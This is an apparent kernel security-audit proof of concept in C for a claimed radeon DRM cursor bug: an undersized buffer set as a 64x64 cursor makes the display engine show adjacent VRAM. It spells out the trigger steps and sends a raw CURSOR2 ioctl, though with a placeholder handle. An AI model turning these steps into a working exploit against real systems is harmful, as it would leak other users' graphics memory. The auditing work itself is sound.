/*
 * DF-4974 — radeon_cursor.c: missing cursor BO size validation
 *
 * Intended (real-HW) trigger:
 *   1. Become DRM master on a radeon KMS seat (open /dev/dri/card0,
 *      drmSetMaster/drmAuthMagic — the console/seat owner is unprivileged).
 *   2. Create a tiny GEM buffer (RADEON_GEM_CREATE_VRAM, one 4KB page).
 *   3. DRM_IOCTL_MODE_CURSOR2 with handle=<tiny bo>, width=64, height=64.
 *      -> radeon_crtc_cursor_set2() pins the 4KB BO in VRAM and programs
 *         CUR_SIZE = ((64-1)<<16)|(64-1); the display engine then fetches
 *         64*64*4 = 16KB starting at cursor_addr — 12KB past the BO end.
 *      -> adjacent VRAM contents are rendered as cursor pixels on the
 *         physical screen (information exposure to anyone who can see or
 *         capture the display; on pre-AVIVO ASICs the extra
 *         yorigin*256 offset path adds a further window).
 *
 * On this audit guest (QEMU/KVM, no GPU) there is no /dev/dri node and no
 * radeon device, so step 1 cannot be reached. This program documents that
 * empirically: it fails at open("/dev/dri/card0") with ENOENT and exits 1.
 * If a card is present it performs step 3 via the raw ioctl.
 */
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define DRM_IOCTL_BASE 'd'

struct drm_mode_cursor2_local {
	uint32_t flags;
	uint32_t crtc_id;
	int32_t x, y;
	uint32_t width;
	uint32_t height;
	uint32_t handle;
	int32_t hot_x;
	int32_t y_hot;
};
/* matches include/uapi/drm/drm.h: DRM_IOWR('d', 0xBB, struct drm_mode_cursor2) */
#define DRM_IOCTL_MODE_CURSOR2_LOCAL \
	_IOWR(DRM_IOCTL_BASE, 0xBB, struct drm_mode_cursor2_local)

int main(void)
{
	int fd = open("/dev/dri/card0", O_RDWR | O_CLOEXEC);
	if (fd < 0) {
		printf("[DF-4974] open /dev/dri/card0 failed: %s\n",
		       strerror(errno));
		printf("[DF-4974] no DRM device on this guest -> "
		       "radeon_cursor.c path unreachable here\n");
		return 1;
	}
	printf("[DF-4974] card opened; would issue CURSOR2 with a 1-page "
	       "VRAM bo at 64x64 (needs real radeon HW to manifest)\n");

	struct drm_mode_cursor2_local req;
	memset(&req, 0, sizeof(req));
	req.flags = 0x1 /* DRM_MODE_CURSOR_BO */ | 0x2 /* DRM_MODE_CURSOR_MOVE */;
	req.crtc_id = 0;
	req.width = 64;
	req.height = 64;	/* 64*64*4 = 16KB fetch from a 4KB bo */
	req.handle = 0;		/* placeholder: real trigger uses a tiny GEM handle */
	req.x = 100;
	req.y = 100;

	if (ioctl(fd, DRM_IOCTL_MODE_CURSOR2_LOCAL, &req) < 0)
		printf("[DF-4974] CURSOR2 ioctl: %s\n", strerror(errno));
	close(fd);
	return 0;
}
